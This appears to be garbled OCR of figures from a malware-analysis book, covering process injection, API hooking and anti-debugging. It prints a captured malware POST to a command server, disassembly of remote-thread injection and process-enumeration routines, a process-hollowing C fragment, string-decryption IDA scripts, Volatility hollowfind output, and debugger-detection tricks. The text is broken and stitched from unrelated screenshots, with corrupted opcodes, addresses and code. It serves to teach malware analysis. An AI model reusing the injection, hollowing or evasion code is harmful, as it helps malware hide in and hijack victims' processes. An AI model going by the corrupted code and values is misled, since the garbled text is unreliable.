Decryptstring; explorer.exe

Decryptstring; iexplore, exe

DecryptString; firefox.exe

Decryptstring; chrome.exe

DecryntSirinn: PHPSSIN =

Cancel Search Help



-

Follow TCP Stream [(tcp.stream g 5) it
Stream Content

POST /wWork/new/index.php HTTP/1.1

Accept: text/himl,application/xhiml+xml,application/oml;q=8_9,*/*:qud. B
Accept-Language: en-US:ged.5, en:qgeB. 3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=SCEECI9EG1GG6BT1TFA0EE939EANBTCS

Pragma: no-cache

Cache-Control: max-age=8

Content-Type: applicationfoctet-stream

User-Agent: Mozilla/%.8 (compatible; MSIE 8.8; Windows NT 6.1; WIN32)
Host: ninthclub.com

Content-Length: 71

S

Length of first segment

Seed
Number of segments
Total size




push 34h push 34h
push 5} push ({]
lea eax, [ebp+buffer_for_APIs_2] lea eax, [ebp+buffer_for_APIs_2]
push eax push eax
call memset ; arg_8 - dst call memset ; arg_8 - dst
; arg_4 - value ; arg_4 - value
; arg_8 - size ; arg_8 - size
add esp, BCh add esp, 6Ch
lea ecx, [ebp+buffer_for_APIs_2] lea ecx, [ebp+buffer_for_APIs_2]
push ecx push ecx
lea edx, [ebp+buffer_for_APIs_1] lea edx, [ebp+buffer_for_APIs_1]
push edx push edx
call restore_imports call restore_imports
add esp, 8 add esp, 8
mov [ebp+var_18], 86 mov [ebp+var_18], 8
lea eax, [ebp+var_18] lea eax, [ebp+var_18]
push eax push eax
call [ebp+var_38] call [ebp+buffer_for_APIs_2+APIs_2.GetCommandLinel]
push eax push eax
call [ebp+var_38] call [ebp+buffer_for_APIs_2+APIs_2.CommandLineToArgul]
mov [ebp+var_1C], eax mov [ebp+var_1C], eax
cmp [ebp+var_1C], 6 cmp [ebp+var_1C], 6
jz loc_406189D jz loc_46189D
Ly L=
push 34h
push [§]
lea eax, [ebp+buffer_for_ APIs_2]
push eax
call memset ; arg_8 - dst
; arg_4 - value
; arg_8 - size
add esp, BCh
lea ecx, [ebp+buffer_for APIs_2]
push ecx
lea edx, [ebp+buffer_for_APIs_1]
push edx
call restore_imports
add esp, 8
mov [ebp+var_18], @
lea eax, [ebp+var_18]
push eax
call [ebp+{APIs_2.GetCommandLineW-58h}]
push eax
call [ebp+{APIs_2.CommandLineToArguW-56h)]
mov [ebp+uar_1C], eax
cmp [ebp+var_1C], ©
jz loc_48189D




X 104 - payload.dec C\Users\Administrator| Deskiop\peyload.dec - o ®
File Edt Jump Sewch View Debugger lumine Options Windows Help

EEi e RS e @@ et -F e X b OO [fedume RAIE31C e 0 ol o

. »

3 IR 1 | -

by furction (B Reguler fonction B Tnstruction [ Data [ Unexpiored || External symbol [ Lusina functon

[7] Functions wndow o & x| [Floaveca [l poeusocode-a Elo-smconfgurasen B (B Hex view-1 [ stuctres B mpors # epors

Function name | Curent fe loaded: | C: Program Files\DA Pro 7.5\plugins a8 10)confidefaut unflattering_olhm.json <[ New Ouicate Et Delete

L] _stmepy Descrption Unfattening O-LLYM with contral f Fattzning

(7] _mmap.

(7] it Name Description Configuration A
7] _snprins 1 AddXor Rule 1 (B0~ 5.1 - @2 (¢ 0] brotx ) => (6.0 *x.1) = val2) 0

[F] _memset 5

7] _alarm 2 Addor Rule.2 (B0~ 1) - (02 * ~{lbnot x 0 & 1) => lie 0 5.1 + val 2y il

(7] clase 3 Add HackersDelightRute, | (0~ (=[x} - Cxl)) =5 .0 x_1) a

(7] _read

[ stramp: 4 Add HackersDelightRule 2 (07510 (02" (6.0 &x 1) => (x 0+ 1) il

1] _sigual 5 Add_HackersDelighthule 3 (0% 1+ OB M => G0+ l)

[] .memepy

[ §  Add HockersDelightfule 4 (02 6.0 50 - (0 % T = (6 0+ 1) o

2 i R e P T TR SPRPTTP o .
[7) open Name Description Configuration

(2] perror 1 Unfisttener Remove control low flattening genersted by OLLVM ()

LE] _getppid

@ exin 2 JumpFiser Nodesciption soiable {ensbled rules:['CompareConstantRulel”, ‘CompareCanstantRul2, “ComporeConstantRuley, leRuleT" “HRuleT, “IncRule, *IncRle
[7) _usleep v

< >

Line 20 0f 82

i, Graph overview O & x

Configuration Start Stop o

(=] qutputwndaw oe x
490EC0: using guessed type _inted sub_99ECe(void). -
4914E0: using guessed type _inted sub_4014Ee(vold);

404740: using guessed type _int64 _fostcoll sub_4B4740( QWORD, QWORD, QUORD, QWORD);

696000; using guessed type int dword 6060CO;

GL7EEC: using guessed type Int deord G17E3C;

617€90: using puessed type int dword 617630 v




from idc import *
from idaapi import *

def decrypt_str(content):
result = ""
for val in content:
val = chr((ord(val) - 1) & ©xFF)
result += val
return result

def read_bytes_until_zero(ea):
result = ""
for i in range(©xFFFF):
val = Byte(ea + 1)
if (val) ==
break
result += chr(val)
return result

def patch_bytes(ea, buf, size):
for i in range(size):
PatchByte(ea, ord(buf[i]))
ea += 1

def decrypt_all():

start = ScreenEA()

size = int(AskStr("1", "Enter the size of the list (in hex)"), 16)

for ea in range(start, start + size*4, 4):
decr_str = decrypt_str(read_bytes_until_zero(Dword(ea)))
print decr_str
patch_bytes(Dword(ea), decr_str, len(decr_str))
MakeUnknown (Dword(ea), len(decr_str), DOUNK_SIMPLE)
MakeStr(Dword(ea), BADADDR)

CompileLine('static _decrypt_all() {RunPythonStatement("decrypt_all()");}")
" decrypt all"




rom idc import *
rom idaapi import *

def decrypt_str(content):
result = ""
for val in content:
val = chr((ord(val) - 1) & ©xFF)
result += val
return result

def read_bytes_until_zero(ea):
result = ""
for i in range(©xFFFF):
val = get_byte(ea + i)
if (val) == @:
break
result += chr(val)
return result

def patch_bytes(ea, buf, size):
for i in range(size):
patch_byte(ea, ord(buf[i]))

ea += 1

def decrypt_all():

start = get_screen_ea()

size = int(ask_str("1", 3, "Enter the size of the list (in hex)"), 16)

for ea in range(start, start + size*8, 8):
decr_str = decrypt_str(read_bytes_until_zero(get_qword(ea)))
print decr_str
patch_bytes(get_qword(ea), decr_str, len(decr_str))
create_strlit(get_qword(ea), ©, STRTYPE_C)

ompile_idc_text('static _decrypt_all() {RunPythonStatement("decrypt_all()");}")
add_idc_hotkey("z", "_decrypt_all")




string_@)

Name = EY_
(keyName,
(keyName,
(keyName,

(OH
string_ =
(string_);
stringBuilder =
(string_, stringBuilde
(stringBuilder 0);

ringBuilder.

Chapter 5: Inspecting Process Injection and APl Hooking

[}
:

File Entry Options Help

d2AIXE mel |

2 PrintMonitors ) LSA Providers

&y services 2 Drivers

& NetworkProviders @ wMr [ Office
3 codecs [ BootExecute [ image Hijacks

Image Path Timestamp
1/15/2019 1:35 AM

c:\windows\system32\cmd exe 11/20/1975 8:18 PM
1/24/2019 9:59 PM

c:\program files (x86)\common files\... 5/17/2015 2:36 PM
c:\program files\avast software\ava... 12/21/2018 10:39 PM
c:\program files \elantech'\etdctr exe  7/21/2016 10:02 AM
2/4/2019 12:45 AM
c:\program files\avast software\ava... 12/21/2018 10:39 PM
c:\program files (x86)\dropbox\clien... 1/30/2019 12:54 PM
c:\program files (x86)\keepass pass... 1/9/2017 10:08 AM
c:\users\amr\appdata\roaming\winl... 11/9/2018 7.03 PM
2/3/2019 11:47PM
c:\users\amr\appdata\local\micros... 11/5/2015 9:37 AM
c:\users\amr\appdataVocal\blue je... 10/24/2016 7:38 PM
c:\users\amr\appdata\ocal\chromi... 1/20/2017 11:27 PM
c:\program files (86)\cloud storage.... 9/7/2017 10:40 AM
c:\program files (x86)\origin\origin exe 1/23/2019 6:40 PM
c:\program files (x86)\google\chrom... 12/11/2018 5:00 AM
c:\users\amr\appdata\local\micros... 1/8/2019 9:57 PM

ViusTotal A

(%) appinit (%) knownDLLs [ winogon & Winsock Providers
O Everything 4 logon W Bxplorer @ InternetExplorer () Scheduled Tasks
Autorun Entry Description Publisher
¥ HKLM\SYSTEM\CurrentC:
M Bl ondexe Windows Command Pro... (Verfied) Microsoft Windows
2 HKLM\SOFT
M [ AdobeAAMUpdater-10  Adobe Updater Startup ... (Verfied) Adobe Systems Incomorated
M Z{ AvastUl exe AvLaunch component (Verified) AVAST Software sr.o.
M & etoc ETD Control Center (Verfied) ELAN Microelectronics Corp.
& HKLM\SOFT 432N
M 2 AvastUlexe AvLaunch component  (Verfied) AVAST Software s..0.
M % Dropbox Dropbox (Verfied) Dropbox. inc
M @ KeePass 2 Preload KeePass (Verfied) Open Source Developer. D.
[ (%) WindowsUpdate XerMonitor
@ HKCU\SOFT
[0 [ BingSve Microsoft Bing Service  (Verfied) Microsoft Comporation
[0 B Bueleans Blue Jeans Application  (Verffied) Blue Jeans Network
M @ Chromium Chromium (Not vesified) The Chromium Authors
[ PR CoudStorage Cloud Storage Desktop .. (Verfied) Livedrive intemet Ltd
M © eaom Origin (Vefied) Blectronic Ats, Inc.
M @ GoogleChromeAutoLaun... Google Chrome (Verified) Google Inc
[ @ OneDrive Microsoft OneDrive (Verfied) Microsoft Comoration
<
utorrent.exe Size: 1,864K
@ uTorrent Time:  1/7/2019 9:35PM
BitTorrent Inc. Version: 3.5.5.44994
<\ exe” |

Ready.

Signed Windows Entries Hidden.
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.text:10089830
.text:10009832
.text:10009833
.text:10009835
.text:1008983B
.text:1000983D
.text:106009840
.text:10009842
.text:10009844
.text:10009346
.text:10009846
.text:10009846
.text:10009846
.text:1000934A
.text:10889852
.text:10609853
.text:10009854
.text:1800985A
.text:1888985C
.text:1000985E
.text:10009862
.text:10009862
.text:100893862
.text:10009866
.text:10609868
.text:1000986A
.text:1008986D
.text:1000986F
.text:16609871
.text:10009873
.text:10009874
.text:10009878
.text:100089879
.text:1000987D
.text:1000987E
.text:10009882
.text:10009884
.text:10009886
.text:10009886
.text:10009886
.text:10089886
.text:1000988A
.text:10009888
.text:1868983C
.text:1006893892
.text:100089894
.text:10009896

loc_10009846:

Loop:

NextProcess:

mov
test
jz
cmp
jz
cmp
jz
push
lea
push
push
push
call
test
jz

push
push
call
test
jnz

esi, esi

esi ; th32ProcessID
TH32CS_SNAPPROCESS ; dwFlags
ds:CreateToolhelp32Snapshot
edi, eax

edi, @FFFFFFFFh

short loc_10009846

eax, eax

short End

; CODE XREF:
eax, [esp+148h+pe]
[esp+148h+pe.dwSize], 128h

ProcessInjection+381j

eax ; lppe

edi ; hSnapshot
ds:Process32First

eax, eax

short NoMoreProcesses
esi, [esp+l48h+Buffer]

; CODE XREF: ProcessInjection+8Cij
eax, [esp+148h+pe.th32ProcessID]

eax, eax

short NextProcess

eax, 4

short NextProcess

eax, ebx

short NextProcess

esi

ecx, [esp+l4dh+pe.szExeFile]

ecx
[esp+148h+pe.th32ParentProcessID]
eax
[esp+15@h+InjectIntoProcessFunc]
eax, eax

short loc_188@9896

; CODE XREF: ProcessInjection+6@1j
5 ProcessInjection+651j ...
eax, [esp+l48h+pe]

eax ; lppe

edi 5 hSnapshot
ds:Process32Next

eax, eax

short Loop




.text:1000A534
.text:1808A535
.text:1000A53B8
.text:1800A53D
.text:1888A53F
Ltext:1000A541
.text:1060A541
.text:1008A541
Ltext:1000A543

.text:1080A545 ;

.text:1800A545
.text:1000A545
.text:1000A545
.text:1008A549
Ltext:1000A54A
.text:1000A54C
.text:18000A54E
.text:1000A550
.text:1000A554
.text:1808A555
.text:1080A556
.text:1000A558
.text:1808A55E
text:1000A560
.text:1000A562
.text:1000A567
text:1000A568
.text:1000A569
.text:1000A56A
.text:1000A570
.text:1000A572
.text:1000A572
.text:1000A572
.text:1000A572
.text:1000A576
.text:1080A578
.text:1000A57A
.text:1008A57C
text:1080A57D
.text:1000A57F
.text:1000A580
Ltext:1000A581
.text:1000A582
.text:1000A586
.text:1000A58B

loc_1000A541:

loc_1000A545:

loc_10eeA572:

push
call
mov
test
jnz

esi
ds:Vi
edi,
edi,
short

eax,
short

[esp+

Bcx,
ebp,
ebx,
edx,
ebp
ebx
Write
esp,
eax,
short
8000h
eax
edi
esi

; hProcess
rtualAllocEx
eax ; edi --» Address of buffer inside the process
edi

loc_108@A545

; CODE XREF: InjectDataIntoProcess+5Fij
eax
loc_1000ASSE

; CODE XREF: InjectDatalntoProcess+2Etj

1Ch+dwSize] ; nSize
esi ; hProcess
edx

eax

[esp+2@h+InjectedData] ; lpBuffer

; lpBaseAddress
IntoProcessMemory
@Ch
eax
loc_10@9A572
; dwFreeType
; dwSize
3 lpAddress
; hProcess

ds:VirtualFreeEx
short loc_1008A541

ecx,
eax,
BCx,
edx,
ebp
eax,
ebx
eax
ecx
ecx,

3 CODE XREF: InjectDataIntoProcess+4Ftj

[esp+1Ch+Entrypoint]
eax
ebx 3 Actual Entrypoint = BaseAddress + Relative Entrypoint
esi
ebp
; Start Address of the buffer
[esp+2Ch+var_4]

CreateRemoteThreadFunc

esp,

1eh




R T Y

text:1eeecs34
.text:1000C839
.text:1888C83C
Jtext:leeeacs42
Ltext:1e68C843
.text:18608C846
text:leeeCs4s
.text:1888CB4E
.text:leeecsse
.text:1000C853
.text:18808C858
.text:leeeCssD
.text:1860C85F
.text:1008C861
.text:1008C863
.text:108008C865
.text:leeeCse9
.text:1600C86B
.text:1eeeCs71
.text:1leeeCs71
.text:1080C871
.text:1000C874
.text:1008C877
text:leeecs79
.text:1080C87C
.text:1800C87E
.text:leeacss3
.text:1eeeCs8s7
.text:1868C88A
.text:1080C888
.text:1088C88F
Jtext:leeeacss
.text:1000C896
.text:1088C89A
.text:leeeCsos
.text:1060CE9F
.text:1808C8A3
.text:1e88CBAS
.text:1880CBAT7
.text:1e8eCB8AB
.text:1000C8AB
.text:1080CBAB
text:leeaCsAC
.text:1880CBAE
.text:1000C8B0
.text:10008C8B5

loc_1006C8AB:

mov
cmp
jnz
push
mov
add
cmp
jnz
mov
mov

call

test
jz
xor
cmp
jnb
lea

push
mov
mov

call

eax, 'IM’
[esi], ax
loc_1008C8C9
ebx

ebx, [esi+3Ch]
ebx, esi

dword ptr [ebx], 'EP’

short loc_18@8C8C8

ecx, [esi+5@h]

eax, 1@Bh

MemAlloc

edi, eax

edi, edi

short loc_1008C8C38

eax, eax

ax, [ebx+6] 3 FILE_HEADER.number_of_sections
short loc_1008C8AB

ebp, [ebx+18Ch]

; FILE_DOS_HEADER.elf_anew

; CODE XREF: PEReadFileMap+AS5ij
edx, [ebp+8]
ecx, [ebp-8]
edx, esi
dword ptr [ebp-4]
ecx, edi
memcpy ; copy PE section
eax, [esp+28h+var_l14]
eax, [ebp+@]
ecx
eax, [ebp+@]
ebp, [ebp+28h]
ecx, [esp+24h+i]
[esp+24h+var_14], eax
ecx
eax, word ptr [ebx+6] ; FILE_HEADER.number_of_sections
[esp+24h+i], ecx
ecx, eax
short LoopOnSections
ebp, [esp+24h+var_l4]

5 sizeof (IMAGE_SECTION_HEADER). Moves to the next section

; CODE XREF: PEReadFileMap+691j
ebp
edx, esi
ecx, edi
memcpy
eax, [esp+28h+var_8]




CreateProcessA

(
9,
pDestCmdLine,

CREATE_SUSPENDED,
a,

9,

pStartuplInfo,
pProcessInfo

);
if (!pProcessInfo->hProcess)
{

printf("Error creating process\r\n");

return;




if (!SetThreadContext(pProcessInfo->hThread, pContext))

{
printf("Error setting context\r\n");

return;

printf("Resuming thread\r\n");

if (!ResumeThread(pProcessInfo->hThread))
{
printf("Error resuming thread\r\n");

return;

01140000 4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 00O|MZ.[...0-..¥¥-.
01140010 |B& 00 00 00|00 00 OO0 00|40 00 OO0 00|00 OO0 OO0 00|, ,cecunnn Eocccooc
01140020 |00 OO0 0O 0O |00 OO OO0 00|00 OO0 OO0 QOO0 OO0 OO0 OO0 i e e s e e e e e e e
01140030 |00 OO0 00 00|00 00 OO0 00|00 00 OO0 OO FO OO0 OO0 00| .eeeeennnnnn ...
01140040 |OE 1F BA OE|00 B4 09 CD|21 B8 01 4C|CD 21 54 6&8|[°0.-.1! mi!Th
01140050 |69 73 20 70|72 6F €7 72|61 6D 20 63|61 6E 6E 6F|is program canno
01140060 |74 20 62 65|20 72 75 6E |20 &9 6E 20|44 4F 53 20|t be run in DOS
01140070 |6D 6F 64 &5|2E OD 0D OA |24 00 00 00|00 00 00 O0|mode....5.......
01140080 |50 90 14 e0|14 F1 7Aa 33|14 F1 7A 33|14 Fl1 7A 33 | PI'MAz3l=z30A=z3
01140020 |19 A3 9B 33|37 F1 7A 33|19 A3 A5 33 |1B F1 7A 33|[£>37n=z3[£¥3MM=3
011400A0 |19 A3 9A 33|6B F1 7a 33 |1D 89 E9 33|19 F1 7Aa 33|0£53kfiz3%&3lfiz3
01140080 |14 F1 7B 33|67 F1 7A 33|69 88 9B 33|16 F1 7A 33|[i{3gfiz31i” »30fi=z3
011400c0 |69 88 9A 33|16 F1 7A 33|19 A3 Al 33|15 F1 7Aa 33|1i°s530f=30£; 30=3
01140000 |14 F1 ED 33|15 F1 7A 33|69 88 A4 33|15 F1 7A 33|MAi3liz3i"o3liz3
01140080 |52 €9 63 68|14 F1 7A 33 00 00 00 00|00 00 00 OO|Richlfiz3........
011400F0 |50 45 00 00|4C 01 05 00 BO 99 5D 57|00 00 00 QO|PE..LN. "=]W....




0094C000| 00002000 00850000 Priv|RW GualRW
0094E000| 00002000 00850000 stack of thread 00006850 Priv|RW GualRW
00A4C000| 00002000 00950000 Priv|RW GualRW
00A4EOQ00| 00002000 00950000 stack of thread 00002D44 Priv|RW GualRW
00B4C000| 00002000 00a50000 Priv|RW GualRW
00B4EQ000 | 00002000 00Aa50000 stack of thread 00006BSC Priv|RW GualRW
00B50000| 00036000 00B50000 Map |R R

00D50000| 00181000 00D50000 Map [R R

01140000 00001000 movefile 01140000 PE header Imag R RWE
01141000| 00010000 movefile 01140000 |.text code Imag|R RWE
01151000|0000C000 |movefile 01140000 | .rdata imports Imag| R RWE
0115D000| 00004000 movefile 01140000 | .data data Imag| R RWE
01161000| 00001000 movefile 01140000 |.rsrc resources Imag|R RWE
01162000 (00001000 movefile 01140000 |.reloc relocations Imag| R RWE
01170000|01401000 01170000 Map |R R

53330000| 00001000 |coMCTL32 53330000 DPE header Imag| R RWE
53331000|00073000 | COMCTL32 53330000 | .text code, exports Imag|R RWE
533A4000| 00003000 |COMCTL32 53330000 | .data data Imag|R RWE
533A7000| 00003000 | COMCTL32 53330000 | .idata imports Imag | R RWE
533AA000|0000F000 | COMCTL32 53330000 | .rsrc resources Imag| R RWE
533B9000 | 00005000 | COMCTL32 53330000 | .reloc relocations Imag|R RWE

cric malfind -p 16
volatili
Pid: 16
ion: |
MemCommit: 1, ' r;: 1, Protection:

1,
L
1,
L
L
L
L
L
L
L
L
L
L
L
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:~/Downloads# python volatility-master/vol.py -f stuxnet.vmem hollowfind

Volatility Foundation Volatility Framework 2.6
Hollowed Process Information:

Process: lsass.exe PID: 1928

Parent Process: services.exe PPID: 668

Creation Time: 2011-06-03 04:26:55 UTC+0000

Process Base Name(PEB): lsass.exe

Command Line(PEB): "C:\WINDOWS\\system32\\lsass.exe"

Hollow Type: Invalid EXE Memory Protection and Process Path Discrepancy

PEB Comparison:

Base Address(VAD): 0x1000000

Process Path(VAD):

Vad Protection: PAGE_EXECUTE_READWRITE
Vad Tag: Vad

Base Address(PEB): ©x1000000

Process Path(PEB): C:\WINDOWS\system32\lsass.exe
Memory Protection: PAGE EXECUTE READWRITE

Memory Tag: Vad

Disassembly(Entry Point):
0x010014bd e95f1cPOOO JMP ©0x1003121
0x010014c2 0000 ADD [EAX], AL
0x010014c4 0000 ADD [EAX], AL
0x010014c6 0000 ADD [EAX], AL

:~/Downloads# python volatility-master/vol.py -f stuxnet.vmem hollowfind -D
Volatility Foundation Volatility Framework 2.6
Hollowed Process Information:

Process: lsass.exe PID: 1928

API Hooking Function

Code before hook

Trampoline I call API

>  Code after hook




.text:1800C5D3 loc_10888C5D3:
.text:18008C5D3

: CopyAPIFirstInstructions+611j
stInstructions+6CTj ...

.text:10800C5D3 push edi

.text:1000C5D4 mov edx, esi

.text:1000C5D6 mov ecx, ebx

.text:1000C5D3 call memcpy

.text:1000C5DD test [esp+24h+var_C], 86h

.text:1000C5E2 pop ecx

.text:1000C5E3 jz short loc_ 10@0CS5FB

.text:1000C5ES cmp edi, 5

.text:1000C5ES jnz short loc_10@0C60E

.text:1000C5EA mov al, [esi]

.text:1000C5EC cmp al, @Esh ; call opcode (@xE8 represents a call instruction)
.text:1000CSEE jz short loc_10@@C5F4

.text:1000C5F0 cmp al, @ESh ; far jmp opcode (@xE9 represents a far jmp instruction)
.text:1000C5F2 jnz short loc_10@@C60E

text:1000C5F4
.text:1000C5F4 loc_10@@CS5F4:

3 CODE XREF: CopyAPIFirstInstructions+B2tTj

.text:1000C5F4 mov eax, esi

.text:1008C5F6 sub eax, ebx

.text:1800C5F3 add [ebx+1], eax

.text:1800C5FB

.text:1808C5FB loc_188@C5FB: 3 CODE XREF: CopyAPIFirstInstructions+A71j
.text:1000C5FB add ebp, edi

.text:1008C5FD add esi, edi

.text:1000CSFF add ebx, edi

.text:1000C601 cmp ebp, 5 ; The minimum length for all copied instructions
.text:leeaCeas jb 0Op

.text:1000C60A mov eax, ebp

.text:1000C60C jmp short loc_1000C610

ol. -f cridex.vmem --profile=wi

Foundation Volatilit
rampolin
cader_s1.e:
Function:

Hook address:
Hooking module

JMP

PUSH Dv




CreatefFile()
Application Code
mov edi, edi
push ebp
mov ebp, esp

push strFileName
call CreateFile
push [ebp][8]

Import Address Table

jmp CreateFile
jmp GetProcAddress

jmp LocalFree

» Rootkit code
processing arguments

After hooking —»

Original flow




Chapter 6: Bypassing Anti-Reverse Engineering Techniques

00401054
0040105£
00401061

00401068
00401063
0040l06a

0040106
00401070

00401075
00401078
0040107a
0040107c

M
|
|
+ -
|
|
|
|
L=

ff ff

ga 00

ga 18

63 00 30
40 00

ga 00

ga ff

el cd f£f
ff ff

58

bk 00 30
40 00

39 43 14
75 07

ga 00

ed &b ff
ff ff

00401033
00401036
00401038
00401035
0040103a
0040103c

00401041
00401043

call
cmp
jz

g0
T4
40
449
75

oo
0a
el
£f

FUSH
FUSH
FUSH

FUSH
FUSH
CALL

FUSH
CALL

38 cc
21

£7
00 oo
oo
oo
be ff
ff

[ebp+Rt1AllocateHeap]

[eax+18h], ecx ; ABABABAB
short debugger detected

Ox0
Ox1E

ProcessInfo

FROCESS BASIC INFORMATION
-0xl
HtQueryInformationProcess

ERX
EBX, ProcessInfo

dword ptr [EBX + offset ProcessInfo.ParentProcessID],ERX
LAB 00401081
0x0
ExitProcess
Loop XREF[1]:
CMP byte ptr [ELX]=>LAB 00401048, 0xcc
JZ Debugger_Detected
INC ELX
DEC ECK
JHZ Loop
MOV EST,Ox0
FUSH Ox0
CALL ExitProcess



48104000 PUSH int3 sca.00401048 SE handler installation
:FF35 00000( PUSH DWORD PTR FS:[0]
:8925 00000(MOV DWORD PTR FS: [0],ESP
48104000 MOV EAX,int3 sca.00401048 Entry address
59104000 MOV ECX,int3 sca.00401058
B1ES 48104000 |SUB ECX,int3 sca.00401048 Entry address
00401033 > 8038 ccC CMP BYTE PTR DS: [EAX],0CC
00401036 .. 74 21 JE SHORT int3 sca.00401059
00401038 . 40 INC ERX
00401039 . 49 DEC ECX
0040103a| .775 F7 JNZ SHORT int3 sca.00401033
0040103C BE 00000000 MOV ESI,O
00401041 6R 00 PUSH I:Exitt?.o-:ie =0
00401043 . EB BEFFFFFF CALL <JMP.&kernel32.ExitProcess> ExitProcess
00401048 |5 BB 03000000 MOV FR¥. 3 Structured exception handler
0040104D BA 04000000 MOV E Backup >
00401052 6R 01 PUSH Copy > I:Exitt?.o-:ie =1
00401054 E8 ATFFFFFF CALL Binary s §5> ExitProcess
00401059| > eA 01 PUSH I:Exitt?.o-:ie =1
00401 ES AOFFFFFF | CALY et Space los ExitProcess
00401060 00 DE 00 Label .
0040106 o0 DB 04 Comment
00401062 0o DB 04 Breakpoint > Toggle F2
00401063 00 DB 0 ; - .
00401064 00 DE 00 Hit trace ¥ Conditional Shift+F2
00401065 00 DE 00 Run trace > Conditional log Shift+F4
00401066 00 DB 00 New origin here Ctrl+Gray * Run to selection F4
Address |Elex. dump |Disa.=_ Goto * Memory, on access
text: 28481016 push 55
text:@a481817 pop 55
text:ea481818 pushf
text:aa481819 mov eax, [esp]
text:ee48181C and eax, 18eh
text: 80481821 jnz short Debugger Detected
text: 80481823 push a 3 UExitCode
text : 86461625 call ExitProcess
00401010 0f 31 RDTSC
00401012 50 FUSH ER¥
00401013 33 <0 HOR
00401015 0f 31 ROTSC
00401017 2b 04 24 SUB Er¥,dword ptr [ESF]=>local 4
; more than 20 milliseconds, detect a single-stepping
0040101a & g 20 CMP ER¥, 0x20
ooaolold 7T 07 JA Debugger Detected
0040101f ez 0O FUSH 0x0
00401021 =8 d4da ££ CALL ExitProcess



TEB

FS:[0] 0012FF60

o040100F cc
—-EEBE FE
00401012(| . 6a FF

Stack

» 0012FF60 0012FFAQ Pointer to the next SEH record
0012FF64 00401821 SE Handler #1

0012FFAQ 0012FFDO Pointer to the next SEH record
0012FFA4 00401537 SE Handler #2

0012FFDO FFFFFFFF Pointer to the next SEH record (no more)
0012FFD4 7C839ADS8 SE Handler #3

INT3
JMP SHORT trace Tr.<ModuleEntryPoint>
PUSH -1

typedef =truct TMAGE TL3 DIRECTORTAZ {

TLONGLONG
TLONGLONG
TLONGLON G
TLONGLONG

StartiddressOfBawvlata

Endiddress0OfRavhata;
Address0fIndex; A4 PDUWORD
bddressofCallBacks: /¢ PIMAGE TL3 CALLBACK *;

DWORD SizedfieroFill:;
DWORD Characteristics:
} IMAGE TL3 DIRECTORYE4:
typedef THMAGE TL3 DIRECTORYE4 * PIMAGE TL3 DIRECTORYE4:

typedef struct TMAGE TL3 DIRECTORY3IZ {
DIORD JtartiddressOLfRawlata;
DIWORD EndiddressOofRaubata;
DWORD Addres=s0fIndex ;! Af PDUWCORD
DWORD Address0fCallBacks: /¢ PIMAGE TLZ CALLBACK *
DWORD SizeQfieroFill:;
DIWORD Characteristics:
} IMAGE TL3 DIRECTORYIZ:
typedef TMAGE TLS DIRECTORY3IZ * PIMAGE TL3 DIRECTORY3Z:



mov ekx, 39h

add ecx, ecx

movV eax, ebp

sub eax, ecx

sub eax, ecx
>
loc_402268:
mov [esp+47CBh+var_475C], 78747468h
mov [esp+47C@h+var_4758], 2F2F3A73h
mov [esp+47C@h+var_4754], 2E777777h
mov [esp+47C@h+var_4750], 63h
mov esp+47C@h+var_474F], bl
mov [esp+47C@h+var_474E], 6C73616Ch




loc_10001451:

loc_10001476:

B841478D
aa414702
Ba414707
A841470C
aau147n2
aau147n3
aau147nY
Ba414708

cmp
jz
cmp
jz

push
push
push
call

eax, ©BB3F9172h
ebp, ebp
[esp+18h+var_14], ecx

; CODE XREF: sub_1000142D
; sub_1000142D+47 7

eax, @EB7E32C3h

short loc_10001476

eax, ©BB3F9172h

short loc_10001494

eax, ©CB2eD64Bh

short loc_1000149A

eax, ©D5480374h

short loc_10001451

eax, OF4AD61FFh

ebx, ebx

short loc_10001451

; CODE XREF: sub_1000142D
eax, @EB7E32C4h
short loc_100014B8
eax, OF4AD61FFh
short loc_100014DF

push BCB2D5F77h : func_hash
push BF734EB15h ; library_hash
call resolue : getsockname
lea ecx, [esi+80h]

push ecx

push esi

push [esp+1Bh+arg_8]

call eax

eax
311721AFh
3116DB1Fh
obfuscated_fn_call 48 ; call strlen



il s =]

agu1ACHa
agu1Acea
aau1acag ; Does a function call according to the previous arguments
aau1Acoan ; httributes: bp-based frame
aau1Acaq
Aou1Acen obfuscated_fn_call_48 proc near
agu1AC oA
aau1acoaa arg_#8= dword ptr 8
aau1Acoan arg_4= dword ptyr BCh
aau1Acean arg_%8= dword ptr 18h
agu1Acea
aau1Acaq ; FUNCTION CHUHK AT B843BB50 SIZE OOO0BBBBE BYTES
Aou1Acen
gau1acag 55 push ebp
ga41aca1 89 ES nou ebp, esp
a841Aca3 58 push eax
A841ACAL BB 45 84 mouv eax, [ebp+H]
a841ACA7 B9 45 1@ mou [ebp+arg_8], eax
A841ACHA BB 45 AC nov eax, [ebp+arg_Au]
AO41ACAD 33 45 08 Xor eax, [ebp+arg_#a]
Ae41nc1a E? 3B AC 62 688 jmp loc_43BB5H
da41Ac18 obfuscated fn_call 48 endp
agu1Ac1a
bl et 5
BB43BBEH ; START OF FUMCTION CHUHK FOR obfuscated_fn_call_ 4@
B043BB5A
BB43BB5H loc_43B850:
B043BBSH 61 45 B4 add [ebp+H], eax
08438853 S8 pop eax
B043BB54 C9 leave
BB43BBLS C2 B8 68 retn 8
BB43BBLE ; EMD OF FUMCTION CHUMK FOR obfuscated fn_call_ 4@
push |
call register _push_8 ; push edi
push |
call register_push_8 ; push esi
lea edx, [ebp+1BFB4h+ppv]
push edx 3 ppv
push offset riid 3 riid
push 15h ; dwClsContext
push ebx ; const IID riid

} // starts at {rjid dd @F935DC21h ; Datal

dw 1CFeh ; Data2
s BT dw 11Deh ; Data3
o1 y ;yte i R _ ft: @ADh, @B9h, @, @CBh, 4Fh, @DSh, 8Ah, @Bh; Data4d
push offset stru_4@ECS58 ; rclsid
mov [ebp+1BFB4h+ppv], ebx
call ds:CoCreateInstance ; Wscript.Shell
cmp eax, ebx
jge short loc_40144D

L e



B COMView - (] X
| File Edit View Special Help
CLSID [Text [ Tuoe [ Tupe Value: [ ProalD | Typelib ~
Eigﬁgﬁggﬂgg 8 Tuvelib IWshRuntimel ibrary [Windows Scrint Host Obiect Modell - ul
FES7B5CD-68AD-40124 [ 1 8 e =1 (7071EC00663,
{185d5d94-6851-44f7-bb _| 8 Typelnfo IWshShell3 [Shell Object Interface]
{86fa3ab-70d2-4fc7-9c9 GRL
g;g;g?ggggg;gg St N | Name memid | FuncKind.InvKind,Call | 1eType I Params I Fl.. I ofsVfts... | A (EE574357-407.
